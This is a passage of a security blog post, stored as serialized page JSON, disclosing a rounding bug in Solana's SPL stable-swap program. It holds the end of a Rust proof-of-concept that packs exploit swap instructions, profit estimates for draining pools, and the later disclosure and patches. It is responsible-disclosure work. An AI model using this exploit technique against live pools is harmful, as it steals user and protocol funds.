ype":23,"tag":141,"props":2294,"children":2295},{"style":472},[2296],{"type":29,"value":2297}," 1",{"type":23,"tag":141,"props":2299,"children":2300},{"style":154},[2301],{"type":29,"value":2168},{"type":23,"tag":141,"props":2303,"children":2305},{"class":143,"line":2304},15,[2306],{"type":23,"tag":141,"props":2307,"children":2308},{"style":472},[2309],{"type":29,"value":2310}," 2\n",{"type":23,"tag":141,"props":2312,"children":2314},{"class":143,"line":2313},16,[2315,2320,2324,2329],{"type":23,"tag":141,"props":2316,"children":2317},{"style":154},[2318],{"type":29,"value":2319}," )",{"type":23,"tag":141,"props":2321,"children":2322},{"style":160},[2323],{"type":29,"value":322},{"type":23,"tag":141,"props":2325,"children":2326},{"style":184},[2327],{"type":29,"value":2328},"unwrap",{"type":23,"tag":141,"props":2330,"children":2331},{"style":154},[2332],{"type":29,"value":1305},{"type":23,"tag":141,"props":2334,"children":2336},{"class":143,"line":2335},17,[2337],{"type":23,"tag":141,"props":2338,"children":2339},{"emptyLinePlaceholder":15},[2340],{"type":29,"value":719},{"type":23,"tag":141,"props":2342,"children":2344},{"class":143,"line":2343},18,[2345],{"type":23,"tag":141,"props":2346,"children":2347},{"style":443},[2348],{"type":29,"value":2349}," // nonce\n",{"type":23,"tag":141,"props":2351,"children":2353},{"class":143,"line":2352},19,[2354,2359,2363,2368,2372,2377,2381,2385,2390,2395,2400,2405,2409,2414],{"type":23,"tag":141,"props":2355,"children":2356},{"style":750},[2357],{"type":29,"value":2358}," swap_instruction",{"type":23,"tag":141,"props":2360,"children":2361},{"style":160},[2362],{"type":29,"value":322},{"type":23,"tag":141,"props":2364,"children":2365},{"style":154},[2366],{"type":29,"value":2367},"data",{"type":23,"tag":141,"props":2369,"children":2370},{"style":160},[2371],{"type":29,"value":322},{"type":23,"tag":141,"props":2373,"children":2374},{"style":184},[2375],{"type":29,"value":2376},"append",{"type":23,"tag":141,"props":2378,"children":2379},{"style":154},[2380],{"type":29,"value":192},{"type":23,"tag":141,"props":2382,"children":2383},{"style":160},[2384],{"type":29,"value":1770},{"type":23,"tag":141,"props":2386,"children":2387},{"style":449},[2388],{"type":29,"value":2389},"mut",{"type":23,"tag":141,"props":2391,"children":2392},{"style":184},[2393],{"type":29,"value":2394}," vec!",{"type":23,"tag":141,"props":2396,"children":2397},{"style":154},[2398],{"type":29,"value":2399},"[",{"type":23,"tag":141,"props":2401,"children":2402},{"style":750},[2403],{"type":29,"value":2404},"i",{"type":23,"tag":141,"props":2406,"children":2407},{"style":154},[2408],{"type":29,"value":480},{"type":23,"tag":141,"props":2410,"children":2411},{"style":750},[2412],{"type":29,"value":2413},"extranonce",{"type":23,"tag":141,"props":2415,"children":2416},{"style":154},[2417],{"type":29,"value":2418},"]);\n",{"type":23,"tag":141,"props":2420,"children":2422},{"class":143,"line":2421},20,[2423],{"type":23,"tag":141,"props":2424,"children":2425},{"emptyLinePlaceholder":15},[2426],{"type":29,"value":719},{"type":23,"tag":141,"props":2428,"children":2430},{"class":143,"line":2429},21,[2431,2435,2439,2444,2448,2452],{"type":23,"tag":141,"props":2432,"children":2433},{"style":449},[2434],{"type":29,"value":1659},{"type":23,"tag":141,"props":2436,"children":2437},{"style":449},[2438],{"type":29,"value":1664},{"type":23,"tag":141,"props":2440,"children":2441},{"style":750},[2442],{"type":29,"value":2443}," instructions",{"type":23,"tag":141,"props":2445,"children":2446},{"style":160},[2447],{"type":29,"value":1674},{"type":23,"tag":141,"props":2449,"children":2450},{"style":184},[2451],{"type":29,"value":2394},{"type":23,"tag":141,"props":2453,"children":2454},{"style":154},[2455],{"type":29,"value":2456},"[];\n",{"type":23,"tag":141,"props":2458,"children":2460},{"class":143,"line":2459},22,[2461],{"type":23,"tag":141,"props":2462,"children":2463},{"emptyLinePlaceholder":15},[2464],{"type":29,"value":719},{"type":23,"tag":141,"props":2466,"children":2468},{"class":143,"line":2467},23,[2469,2474,2478,2483,2487,2492],{"type":23,"tag":141,"props":2470,"children":2471},{"style":750},[2472],{"type":29,"value":2473}," instructions",{"type":23,"tag":141,"props":2475,"children":2476},{"style":160},[2477],{"type":29,"value":322},{"type":23,"tag":141,"props":2479,"children":2480},{"style":184},[2481],{"type":29,"value":2482},"push",{"type":23,"tag":141,"props":2484,"children":2485},{"style":154},[2486],{"type":29,"value":192},{"type":23,"tag":141,"props":2488,"children":2489},{"style":750},[2490],{"type":29,"value":2491},"swap_instruction",{"type":23,"tag":141,"props":2493,"children":2494},{"style":154},[2495],{"type":29,"value":2496},");\n",{"type":23,"tag":141,"props":2498,"children":2500},{"class":143,"line":2499},24,[2501],{"type":23,"tag":141,"props":2502,"children":2503},{"emptyLinePlaceholder":15},[2504],{"type":29,"value":719},{"type":23,"tag":141,"props":2506,"children":2508},{"class":143,"line":2507},25,[2509,2514,2518,2523,2527,2531,2536,2540,2544,2549,2553,2557,2561],{"type":23,"tag":141,"props":2510,"children":2511},{"style":750},[2512],{"type":29,"value":2513}," env",{"type":23,"tag":141,"props":2515,"children":2516},{"style":160},[2517],{"type":29,"value":322},{"type":23,"tag":141,"props":2519,"children":2520},{"style":184},[2521],{"type":29,"value":2522},"execute_as_transaction",{"type":23,"tag":141,"props":2524,"children":2525},{"style":154},[2526],{"type":29,"value":192},{"type":23,"tag":141,"props":2528,"children":2529},{"style":160},[2530],{"type":29,"value":1770},{"type":23,"tag":141,"props":2532,"children":2533},{"style":750},[2534],{"type":29,"value":2535},"instructions",{"type":23,"tag":141,"props":2537,"children":2538},{"style":154},[2539],{"type":29,"value":480},{"type":23,"tag":141,"props":2541,"children":2542},{"style":160},[2543],{"type":29,"value":1770},{"type":23,"tag":141,"props":2545,"children":2546},{"style":184},[2547],{"type":29,"value":2548},"vec!",{"type":23,"tag":141,"props":2550,"children":2551},{"style":154},[2552],{"type":29,"value":2399},{"type":23,"tag":141,"props":2554,"children":2555},{"style":160},[2556],{"type":29,"value":1770},{"type":23,"tag":141,"props":2558,"children":2559},{"style":750},[2560],{"type":29,"value":2196},{"type":23,"tag":141,"props":2562,"children":2563},{"style":154},[2564],{"type":29,"value":2418},{"type":23,"tag":141,"props":2566,"children":2568},{"class":143,"line":2567},26,[2569],{"type":23,"tag":141,"props":2570,"children":2571},{"style":154},[2572],{"type":29,"value":2573},"}\n",{"type":23,"tag":32,"props":2575,"children":2576},{},[2577],{"type":29,"value":2578},"It works!",{"type":23,"tag":355,"props":2580,"children":2581},{},[2582],{"type":23,"tag":32,"props":2583,"children":2584},{},[2585],{"type":29,"value":2586},"holy shit\nyea, this is big",{"type":23,"tag":32,"props":2588,"children":2589},{},[2590],{"type":23,"tag":2591,"props":2592,"children":2594},"img",{"alt":7,"src":2593},"/posts/spl-swap/poc.png",[],{"type":23,"tag":24,"props":2596,"children":2598},{"id":2597},"exploitability",[2599],{"type":29,"value":2600},"Exploitability",{"type":23,"tag":32,"props":2602,"children":2603},{},[2604],{"type":29,"value":2605},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":23,"tag":32,"props":2607,"children":2608},{},[2609],{"type":29,"value":2610},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":23,"tag":32,"props":2612,"children":2613},{},[2614],{"type":29,"value":2615},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":23,"tag":32,"props":2617,"children":2618},{},[2619],{"type":23,"tag":2591,"props":2620,"children":2622},{"alt":7,"src":2621},"/posts/spl-swap/pr.png",[],{"type":23,"tag":32,"props":2624,"children":2625},{},[2626,2628,2633],{"type":29,"value":2627},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":23,"tag":47,"props":2629,"children":2630},{},[2631],{"type":29,"value":2632},"per instruction",{"type":29,"value":2634},". Transactions on Solana can also contain multiple instructions.",{"type":23,"tag":32,"props":2636,"children":2637},{},[2638],{"type":29,"value":2639},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":23,"tag":32,"props":2641,"children":2642},{},[2643,2645,2650],{"type":29,"value":2644},"Some quick napkin math confirms that this ",{"type":23,"tag":47,"props":2646,"children":2647},{},[2648],{"type":29,"value":2649},"is",{"type":29,"value":2651}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":23,"tag":32,"props":2653,"children":2654},{},[2655],{"type":23,"tag":38,"props":2656,"children":2660},{"className":2657},[2658,2659],"language-math","math-inline",[2661],{"type":23,"tag":141,"props":2662,"children":2665},{"className":2663},[2664],"katex",[2666],{"type":23,"tag":141,"props":2667,"children":2671},{"className":2668,"ariaHidden":2670},[2669],"katex-html","true",[2672,2780,2835,2875],{"type":23,"tag":141,"props":2673,"children":2676},{"className":2674},[2675],"base",[2677,2683,2689,2753,2763,2769,2776],{"type":23,"tag":141,"props":2678,"children":2682},{"className":2679,"style":2681},[2680],"strut","height:0.8141em;",[],{"type":23,"tag":141,"props":2684,"children":2687},{"className":2685},[2686],"mord",[2688],{"type":29,"value":687},{"type":23,"tag":141,"props":2690,"children":2692},{"className":2691},[2686],[2693,2699],{"type":23,"tag":141,"props":2694,"children":2696},{"className":2695},[2686],[2697],{"type":29,"value":2698},"0",{"type":23,"tag":141,"props":2700,"children":2703},{"className":2701},[2702],"msupsub",[2704],{"type":23,"tag":141,"props":2705,"children":2708},{"className":2706},[2707],"vlist-t",[2709],{"type":23,"tag":141,"props":2710,"children":2713},{"className":2711},[2712],"vlist-r",[2714],{"type":23,"tag":141,"props":2715,"children":2718},{"className":2716,"style":2681},[2717],"vlist",[2719],{"type":23,"tag":141,"props":2720,"children":2722},{"style":2721},"top:-3.063em;margin-right:0.05em;",[2723,2729],{"type":23,"tag":141,"props":2724,"children":2728},{"className":2725,"style":2727},[2726],"pstrut","height:2.7em;",[],{"type":23,"tag":141,"props":2730,"children":2736},{"className":2731},[2732,2733,2734,2735],"sizing","reset-size6","size3","mtight",[2737],{"type":23,"tag":141,"props":2738,"children":2740},{"className":2739},[2686,2735],[2741,2747],{"type":23,"tag":141,"props":2742,"children":2744},{"className":2743},[2686,2735],[2745],{"type":29,"value":2746},"−",{"type":23,"tag":141,"props":2748,"children":2750},{"className":2749},[2686,2735],[2751],{"type":29,"value":2752},"8",{"type":23,"tag":141,"props":2754,"children":2756},{"className":2755},[2686,29],[2757],{"type":23,"tag":141,"props":2758,"children":2760},{"className":2759},[2686],[2761],{"type":29,"value":2762}," BTC",{"type":23,"tag":141,"props":2764,"children":2768},{"className":2765,"style":2767},[2766],"mspace","margin-right:0.2222em;",[],{"type":23,"tag":141,"props":2770,"children":2773},{"className":2771},[2772],"mbin",[2774],{"type":29,"value":2775},"∗",{"type":23,"tag":141,"props":2777,"children":2779},{"className":2778,"style":2767},[2766],[],{"type":23,"tag":141,"props":2781,"children":2783},{"className":2782},[2675],[2784,2789,2795,2801,2806,2812,2822,2826,2831],{"type":23,"tag":141,"props":2785,"children":2788},{"className":2786,"style":2787},[2680],"height:1em;vertical-align:-0.25em;",[],{"type":23,"tag":141,"props":2790,"children":2792},{"className":2791},[2686],[2793],{"type":29,"value":2794},"$41",{"type":23,"tag":141,"props":2796,"children":2799},{"className":2797},[2798],"mpunct",[2800],{"type":29,"value":512},{"type":23,"tag":141,"props":2802,"children":2805},{"className":2803,"style":2804},[2766],"margin-right:0.1667em;",[],{"type":23,"tag":141,"props":2807,"children":2809},{"className":2808},[2686],[2810],{"type":29,"value":2811},"400/",{"type":23,"tag":141,"props":2813,"children":2815},{"className":2814},[2686,29],[2816],{"type":23,"tag":141,"props":2817,"children":2819},{"className":2818},[2686],[2820],{"type":29,"value":2821},"BTC",{"type":23,"tag":141,"props":2823,"children":2825},{"className":2824,"style":2767},[2766],[],{"type":23,"tag":141,"props":2827,"children":2829},{"className":2828},[2772],[2830],{"type":29,"value":2775},{"type":23,"tag":141,"props":2832,"children":2834},{"className":2833,"style":2767},[2766],[],{"type":23,"tag":141,"props":2836,"children":2838},{"className":2837},[2675],[2839,2844,2850,2860,2865,2871],{"type":23,"tag":141,"props":2840,"children":2843},{"className":2841,"style":2842},[2680],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":23,"tag":141,"props":2845,"children":2847},{"className":2846},[2686],[2848],{"type":29,"value":2849},"150",{"type":23,"tag":141,"props":2851,"children":2853},{"className":2852},[2686,29],[2854],{"type":23,"tag":141,"props":2855,"children":2857},{"className":2856},[2686],[2858],{"type":29,"value":2859}," swaps",{"type":23,"tag":141,"props":2861,"children":2864},{"className":2862,"style":2863},[2766],"margin-right:0.2778em;",[],{"type":23,"tag":141,"props":2866,"children":2869},{"className":2867},[2868],"mrel",[2870],{"type":29,"value":1377},{"type":23,"tag":141,"props":2872,"children":2874},{"className":2873,"style":2863},[2766],[],{"type":23,"tag":141,"props":2876,"children":2878},{"className":2877},[2675],[2879,2884],{"type":23,"tag":141,"props":2880,"children":2883},{"className":2881,"style":2882},[2680],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":23,"tag":141,"props":2885,"children":2887},{"className":2886},[2686],[2888],{"type":29,"value":2889},"$0.0621",{"type":23,"tag":32,"props":2891,"children":2892},{},[2893],{"type":29,"value":2894},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":23,"tag":32,"props":2896,"children":2897},{},[2898],{"type":29,"value":2899},"We're well on our way to becoming a millionaire!",{"type":23,"tag":24,"props":2901,"children":2903},{"id":2902},"patch",[2904],{"type":29,"value":2905},"Patch",{"type":23,"tag":32,"props":2907,"children":2908},{},[2909],{"type":29,"value":2910},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":23,"tag":32,"props":2912,"children":2913},{},[2914],{"type":29,"value":2915},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":23,"tag":131,"props":2917,"children":2921},{"code":2918,"language":2919,"meta":7,"className":2920,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[2922],{"type":23,"tag":38,"props":2923,"children":2924},{"__ignoreMap":7},[2925],{"type":23,"tag":141,"props":2926,"children":2927},{"class":143,"line":144},[2928,2932,2937,2942,2947,2952,2957],{"type":23,"tag":141,"props":2929,"children":2930},{"style":184},[2931],{"type":29,"value":1539},{"type":23,"tag":141,"props":2933,"children":2934},{"style":828},[2935],{"type":29,"value":2936}," logs",{"type":23,"tag":141,"props":2938,"children":2939},{"style":828},[2940],{"type":29,"value":2941}," -um",{"type":23,"tag":141,"props":2943,"children":2944},{"style":160},[2945],{"type":29,"value":2946}," |",{"type":23,"tag":141,"props":2948,"children":2949},{"style":184},[2950],{"type":29,"value":2951}," grep",{"type":23,"tag":141,"props":2953,"children":2954},{"style":828},[2955],{"type":29,"value":2956}," 'Instruction: Swap'",{"type":23,"tag":141,"props":2958,"children":2959},{"style":828},[2960],{"type":29,"value":2961}," -B1\n",{"type":23,"tag":32,"props":2963,"children":2964},{},[2965],{"type":29,"value":2966},"With some Google dorking, we were able to identify many of these programs.",{"type":23,"tag":131,"props":2968,"children":2970},{"code":2969},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1 - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8 - Swap Program\n",[2971],{"type":23,"tag":38,"props":2972,"children":2973},{"__ignoreMap":7},[2974],{"type":29,"value":2969},{"type":23,"tag":32,"props":2976,"children":2977},{},[2978],{"type":29,"value":2979},"Now it was time to contact these teams.",{"type":23,"tag":32,"props":2981,"children":2982},{},[2983],{"type":29,"value":2984},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":23,"tag":32,"props":2986,"children":2987},{},[2988],{"type":29,"value":2989},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":23,"tag":131,"props":2991,"children":2993},{"code":2992,"language":1638,"meta":7,"className":1639,"style":7},"- let dy = swap_destination_amount.checked_sub(y)?;\n+ // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+ let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[2994],{"type":23,"tag":38,"props":2995,"children":2996},{"__ignoreMap":7},[2997,3051,3064],{"type":23,"tag":141,"props":2998,"children":2999},{"class":143,"line":144},[3000,3005,3009,3014,3018,3023,3027,3031,3035,3039,3043,3047],{"type":23,"tag":141,"props":3001,"children":3002},{"style":160},[3003],{"type":29,"value":3004},"-",{"type":23,"tag":141,"props":3006,"children":3007},{"style":449},[3008],{"type":29,"value":1725},{"type":23,"tag":141,"props":3010,"children":3011},{"style":750},[3012],{"type":29,"value":3013}," dy",{"type":23,"tag":141,"props":3015,"children":3016},{"style":160},[3017],{"type":29,"value":1674},{"type":23,"tag":141,"props":3019,"children":3020},{"style":750},[3021],{"type":29,"value":3022}," swap_destination_amount",{"type":23,"tag":141,"props":3024,"children":3025},{"style":160},[3026],{"type":29,"value":322},{"type":23,"tag":141,"props":3028,"children":3029},{"style":184},[3030],{"type":29,"value":1896},{"type":23,"tag":141,"props":3032,"children":3033},{"style":154},[3034],{"type":29,"value":192},{"type":23,"tag":141,"props":3036,"children":3037},{"style":750},[3038],{"type":29,"value":1775},{"type":23,"tag":141,"props":3040,"children":3041},{"style":154},[3042],{"type":29,"value":1788},{"type":23,"tag":141,"props":3044,"children":3045},{"style":160},[3046],{"type":29,"value":1816},{"type":23,"tag":141,"props":3048,"children":3049},{"style":154},[3050],{"type":29,"value":1684},{"type":23,"tag":141,"props":3052,"children":3053},{"class":143,"line":180},[3054,3059],{"type":23,"tag":141,"props":3055,"children":3056},{"style":160},[3057],{"type":29,"value":3058},"+",{"type":23,"tag":141,"props":3060,"children":3061},{"style":443},[3062],{"type":29,"value":3063}," // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":23,"tag":141,"props":3065,"children":3066},{"class":143,"line":205},[3067,3071,3075,3079,3083,3087,3091,3095,3099,3103,3107,3111,3115,3119,3123,3127,3131],{"type":23,"tag":141,"props":3068,"children":3069},{"style":160},[3070],{"type":29,"value":3058},{"type":23,"tag":141,"props":3072,"children":3073},{"style":449},[3074],{"type":29,"value":1725},{"type":23,"tag":141,"props":3076,"children":3077},{"style":750},[3078],{"type":29,"value":3013},{"type":23,"tag":141,"props":3080,"children":3081},{"style":160},[3082],{"type":29,"value":1674},{"type":23,"tag":141,"props":3084,"children":3085},{"style":750},[3086],{"type":29,"value":3022},{"type":23,"tag":141,"props":3088,"children":3089},{"style":160},[3090],{"type":29,"value":322},{"type":23,"tag":141,"props":3092,"children":3093},{"style":184},[3094],{"type":29,"value":1896},{"type":23,"tag":141,"props":3096,"children":3097},{"style":154},[3098],{"type":29,"value":192},{"type":23,"tag":141,"props":3100,"children":3101},{"style":750},[3102],{"type":29,"value":1775},{"type":23,"tag":141,"props":3104,"children":3105},{"style":154},[3106],{"type":29,"value":1788},{"type":23,"tag":141,"props":3108,"children":3109},{"style":160},[3110],{"type":29,"value":1793},{"type":23,"tag":141,"props":3112,"children":3113},{"style":184},[3114],{"type":29,"value":1896},{"type":23,"tag":141,"props":3116,"children":3117},{"style":154},[3118],{"type":29,"value":192},{"type":23,"tag":141,"props":3120,"children":3121},{"style":472},[3122],{"type":29,"value":687},{"type":23,"tag":141,"props":3124,"children":3125},{"style":154},[3126],{"type":29,"value":1788},{"type":23,"tag":141,"props":3128,"children":3129},{"style":160},[3130],{"type":29,"value":1816},{"type":23,"tag":141,"props":3132,"children":3133},{"style":154},[3134],{"type":29,"value":1684},{"type":23,"tag":32,"props":3136,"children":3137},{},[3138,3140,3147],{"type":29,"value":3139},"For reference, here is the ",{"type":23,"tag":55,"props":3141,"children":3144},{"href":3142,"rel":3143},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[59],[3145],{"type":29,"value":3146},"Curve.fi implementation",{"type":29,"value":322},{"type":23,"tag":131,"props":3149,"children":3151},{"code":3150,"language":17,"meta":7,"className":432,"style":7}," dy: uint256 = xp[j] - y - 1 # -1 just in case there were some rounding errors\n dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n",[3152],{"type":23,"tag":38,"props":3153,"children":3154},{"__ignoreMap":7},[3155,3217],{"type":23,"tag":141,"props":3156,"children":3157},{"class":143,"line":144},[3158,3163,3167,3172,3176,3181,3185,3190,3194,3199,3204,3208,3212],{"type":23,"tag":141,"props":3159,"children":3160},{"style":154},[3161],{"type":29,"value":3162}," dy",{"type":23,"tag":141,"props":3164,"children":3165},{"style":160},[3166],{"type":29,"value":114},{"type":23,"tag":141,"props":3168,"children":3169},{"style":725},[3170],{"type":29,"value":3171}," uint256",{"type":23,"tag":141,"props":3173,"children":3174},{"style":160},[3175],{"type":29,"value":1674},{"type":23,"tag":141,"props":3177,"children":3178},{"style":154},[3179],{"type":29,"value":3180}," xp[j] ",{"type":23,"tag":141,"props":3182,"children":3183},{"style":160},[3184],{"type":29,"value":3004},{"type":23,"tag":141,"props":3186,"children":3187},{"style":154},[3188],{"type":29,"value":3189}," y ",{"type":23,"tag":141,"props":3191,"children":3192},{"style":160},[3193],{"type":29,"value":3004},{"type":23,"tag":141,"props":3195,"children":3196},{"style":472},[3197],{"type":29,"value":3198}," 1",{"type":23,"tag":141,"props":3200,"children":3201},{"style":154},[3202],{"type":29,"value":3203}," # ",{"type":23,"tag":141,"props":3205,"children":3206},{"style":160},[3207],{"type":29,"value":3004},{"type":23,"tag":141,"props":3209,"children":3210},{"style":472},[3211],{"type":29,"value":687},{"type":23,"tag":141,"props":3213,"children":3214},{"style":154},[3215],{"type":29,"value":3216}," just in case there were some rounding errors\n",{"type":23,"tag":141,"props":3218,"children":3219},{"class":143,"line":180},[3220,3225,3229,3233,3237,3242,3246,3251,3256],{"type":23,"tag":141,"props":3221,"children":3222},{"style":154},[3223],{"type":29,"value":3224}," dy_fee",{"type":23,"tag":141,"props":3226,"children":3227},{"style":160},[3228],{"type":29,"value":114},{"type":23,"tag":141,"props":3230,"children":3231},{"style":725},[3232],{"type":29,"value":3171},{"type":23,"tag":141,"props":3234,"children":3235},{"style":160},[3236],{"type":29,"value":1674},{"type":23,"tag":141,"props":3238,"children":3239},{"style":154},[3240],{"type":29,"value":3241}," dy ",{"type":23,"tag":141,"props":3243,"children":3244},{"style":160},[3245],{"type":29,"value":197},{"type":23,"tag":141,"props":3247,"children":3248},{"style":154},[3249],{"type":29,"value":3250}," self.fee ",{"type":23,"tag":141,"props":3252,"children":3253},{"style":160},[3254],{"type":29,"value":3255},"/",{"type":23,"tag":141,"props":3257,"children":3258},{"style":154},[3259],{"type":29,"value":3260}," FEE_DENOMINATOR\n",{"type":23,"tag":32,"props":3262,"children":3263},{},[3264,3266,3273],{"type":29,"value":3265},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":23,"tag":55,"props":3267,"children":3270},{"href":3268,"rel":3269},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[59],[3271],{"type":29,"value":3272},"original commit",{"type":29,"value":3274},", not as an additional security patch.",{"type":23,"tag":131,"props":3276,"children":3278},{"code":3277},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate: Mon Aug 31 02:35:30 2020 +0300\n\n feat: add base pool without lending\n",[3279],{"type":23,"tag":38,"props":3280,"children":3281},{"__ignoreMap":7},[3282],{"type":29,"value":3277},{"type":23,"tag":32,"props":3284,"children":3285},{},[3286,3288,3295],{"type":29,"value":3287},"The commit adding stable swaps to SPL was ",{"type":23,"tag":55,"props":3289,"children":3292},{"href":3290,"rel":3291},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[59],[3293],{"type":29,"value":3294},"made a few months later",{"type":29,"value":3296},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":23,"tag":131,"props":3298,"children":3300},{"code":3299},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate: Tue Nov 17 15:13:18 2020 +0200\n\n Added stable curve invariant to the token swap smart contract (#838)\n\n * Added stable curve invariant to the token swap smart contract\n\n * Fixed formatting\n\n * Added missing stable curve constraints\n\n * Symbol renames to make math clearer\n\n * Small refactoring according to PR comments, fixes for JS tests\n",[3301],{"type":23,"tag":38,"props":3302,"children":3303},{"__ignoreMap":7},[3304],{"type":29,"value":3299},{"type":23,"tag":32,"props":3306,"children":3307},{},[3308,3310,3317],{"type":29,"value":3309},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":23,"tag":55,"props":3311,"children":3314},{"href":3312,"rel":3313},"https://github.com/solana-labs/solana-program-library",[59],[3315],{"type":29,"value":3316},"the Solana Program Library",{"type":29,"value":322},{"type":23,"tag":32,"props":3319,"children":3320},{},[3321],{"type":29,"value":3322},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":23,"tag":32,"props":3324,"children":3325},{},[3326,3333],{"type":23,"tag":55,"props":3327,"children":3330},{"href":3328,"rel":3329},"https://github.com/joncinque",[59],[3331],{"type":29,"value":3332},"@joncinque",{"type":29,"value":3334}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":23,"tag":355,"props":3336,"children":3337},{},[3338],{"type":23,"tag":32,"props":3339,"children":3340},{},[3341],{"type":29,"value":3342},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":23,"tag":32,"props":3344,"children":3345},{},[3346,3348,3355,3357,3363],{"type":29,"value":3347},"After some thought, he helped ",{"type":23,"tag":55,"props":3349,"children":3352},{"href":3350,"rel":3351},"https://github.com/solana-labs/solana-program-library/pull/2942",[59],[3353],{"type":29,"value":3354},"introduce a PR",{"type":29,"value":3356}," which ceilings the computation in ",{"type":23,"tag":38,"props":3358,"children":3360},{"className":3359},[],[3361],{"type":29,"value":3362},"compute_new_destination_amount",{"type":29,"value":3364}," to correctly round within the stable curve math library.",{"type":23,"tag":131,"props":3366,"children":3368},{"code":3367,"language":1638,"meta":7,"className":1639,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y_prev: U256;\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n- y_prev = y;\n- y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n- .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n- if y == y_prev {\n+ let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+ .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+ if y_new == y {\n break;\n+ } else {\n+ y = y_new;\n }\n",[3369],{"type":23,"tag":38,"props":3370,"children":3371},{"__ignoreMap":7},[3372,3380,3410,3437,3465,3489,3565,3669,3696,3791,3894,3921,3933,3952,3975],{"type":23,"tag":141,"props":3373,"children":3374},{"class":143,"line":144},[3375],{"type":23,"tag":141,"props":3376,"children":3377},{"style":443},[3378],{"type":29,"value":3379}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":141,"props":3381,"children":3382},{"class":143,"line":180},[3383,3388,3392,3397,3401,3406],{"type":23,"tag":141,"props":3384,"children":3385},{"style":449},[3386],{"type":29,"value":3387}," let",{"type":23,"tag":141,"props":3389,"children":3390},{"style":449},[3391],{"type":29,"value":1664},{"type":23,"tag":141,"props":3393,"children":3394},{"style":750},[3395],{"type":29,"value":3396}," y_prev",{"type":23,"tag":141,"props":3398,"children":3399},{"style":160},[3400],{"type":29,"value":114},{"type":23,"tag":141,"props":3402,"children":3403},{"style":725},[3404],{"type":29,"value":3405}," 